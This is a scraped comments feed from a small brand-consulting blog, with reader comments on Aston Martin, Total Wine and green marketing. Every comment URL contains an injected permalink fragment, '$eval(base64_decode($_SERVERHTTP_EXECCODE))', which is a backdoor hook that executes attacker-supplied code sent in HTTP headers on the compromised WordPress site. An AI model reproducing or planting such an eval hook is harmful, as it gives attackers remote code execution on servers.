Comments for Man on the Moon Consulting - blog http://blog.manonthemoonconsulting.com News, trends and insights for anyone seeking uncontested market space through strategic brand development Wed, 27 Jan 2010 21:20:38 +0000 hourly 1 http://wordpress.org/?v=3.0 Comment on Aston Martin launch the Cygnet – showing guts or going nuts? by Bruce Forster http://blog.manonthemoonconsulting.com/2009/07/02/55/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-346 Bruce Forster Wed, 27 Jan 2010 21:20:38 +0000 http://blog.manonthemoonconsulting.com/?p=55#comment-346 Insightful article Rob. My thoughts: "Diversify or be left behind". It is going to be more about the value that a company can offer through its brand without compromising choice, green issues and, in the case of Aston Martin Lagonda, that something a little bit special that it has traditionally offered. Look at the rise of the Hyundai brand in the last decade; from a little known Korean manufacturer to a well positioned global market leader in high value mid-range cars with a brand slogan of 'prepare to want one'. This is a big test of the strength of the Aston Martin marque in an ever-increasing cost-conscious global marketplace. Aston Martin will lose fans in the shrinking luxury market but gain it in more accessible markets; those wanting their own 'Bond' car. Insightful article Rob. My thoughts:
“Diversify or be left behind”. It is going to be more about the value that a company can offer through its brand without compromising choice, green issues and, in the case of Aston Martin Lagonda, that something a little bit special that it has traditionally offered. Look at the rise of the Hyundai brand in the last decade; from a little known Korean manufacturer to a well positioned global market leader in high value mid-range cars with a brand slogan of ‘prepare to want one’. This is a big test of the strength of the Aston Martin marque in an ever-increasing cost-conscious global marketplace. Aston Martin will lose fans in the shrinking luxury market but gain it in more accessible markets; those wanting their own ‘Bond’ car.

]]> Comment on ‘Total Wine and more’ – insights from a $800 million CEO by wone http://blog.manonthemoonconsulting.com/2009/11/19/%e2%80%98total-wine-and-more%e2%80%99-%e2%80%93-insights-from-a-800-million-ceo/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-211 wone Sat, 28 Nov 2009 02:36:12 +0000 http://blog.manonthemoonconsulting.com/?p=314#comment-211 I wished you asked David why he does not offer and paid holidays to his employees? Even Christmas is not a paid holiday. Also curious why there is no sick time allowed. I wished you asked David why he does not offer and paid holidays to his employees? Even Christmas is not a paid holiday.

Also curious why there is no sick time allowed.

]]> Comment on Maximizing your green marketing message to consumers (14 points) by admin http://blog.manonthemoonconsulting.com/2009/08/02/maximizing-your-green-marketing-message-to-consumers-14-points/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-56 admin Mon, 12 Oct 2009 15:50:47 +0000 http://blog.manonthemoonconsulting.com/?p=127#comment-56 Hi Joe, I've tried to send you the file to above address, but it has been returned. Can you please send an email to rob@manonthemoonconsulting.com, and i'll send you the report. Thanks, Rob. Hi Joe, I’ve tried to send you the file to above address, but it has been returned. Can you please send an email to rob@manonthemoonconsulting.com, and i’ll send you the report. Thanks, Rob.

]]> Comment on Maximizing your green marketing message to consumers (14 points) by Joe http://blog.manonthemoonconsulting.com/2009/08/02/maximizing-your-green-marketing-message-to-consumers-14-points/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-53 Joe Thu, 08 Oct 2009 23:31:12 +0000 http://blog.manonthemoonconsulting.com/?p=127#comment-53 Hey Rob, Can I get a copy of the “Maximizing your green marketing message to consumers” presentation by the Shelton group. Thanks, Joe Hey Rob,

Can I get a copy of the “Maximizing your green marketing message to consumers” presentation by the Shelton group.

Thanks, Joe

]]> Comment on Rob’s commentary re: maximizing your green message to consumers by Peter Turck http://blog.manonthemoonconsulting.com/2009/08/06/robs-commentary-re-maximizing-your-green-message-to-consumers/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-49 Peter Turck Fri, 02 Oct 2009 20:44:11 +0000 http://blog.manonthemoonconsulting.com/?p=136#comment-49 Rob, My sense is that in those circumstances where you can combine "green" messaging with a compelling value/cost proposition that is backed by valid research data, the combination is very powerful. I'd be interested in knowing your experience in this regard. Pete Rob,

My sense is that in those circumstances where you can combine “green” messaging with a compelling value/cost proposition that is backed by valid research data, the combination is very powerful. I’d be interested in knowing your experience in this regard. Pete

]]> Comment on Maximizing your green marketing message to consumers (14 points) by Jamie http://blog.manonthemoonconsulting.com/2009/08/02/maximizing-your-green-marketing-message-to-consumers-14-points/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-8 Jamie Mon, 17 Aug 2009 17:56:02 +0000 http://blog.manonthemoonconsulting.com/?p=127#comment-8 Some great points here Rob, with some definite take away "highlights". With so much information available the population are in a state of analysis paralysis, not knowing which Green idea is the one for them. I like the way you've presented this piece and look forward to your next insights. As a fan of the UK Bad Science website (http://www.badscience.net/forum/) this level of discussion and open handed fact giving are very interesting to me. Some great points here Rob, with some definite take away “highlights”. With so much information available the population are in a state of analysis paralysis, not knowing which Green idea is the one for them.

I like the way you’ve presented this piece and look forward to your next insights. As a fan of the UK Bad Science website (http://www.badscience.net/forum/) this level of discussion and open handed fact giving are very interesting to me.

]]> Comment on Aston Martin launch the Cygnet – showing guts or going nuts? by Nicole http://blog.manonthemoonconsulting.com/2009/07/02/55/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-2 Nicole Thu, 16 Jul 2009 11:53:43 +0000 http://blog.manonthemoonconsulting.com/?p=55#comment-2 Interesting thoughts - I agree it's a huge gamble for a company so well known for such incredible luxury. Only time will tell! Interesting thoughts – I agree it’s a huge gamble for a company so well known for such incredible luxury. Only time will tell!

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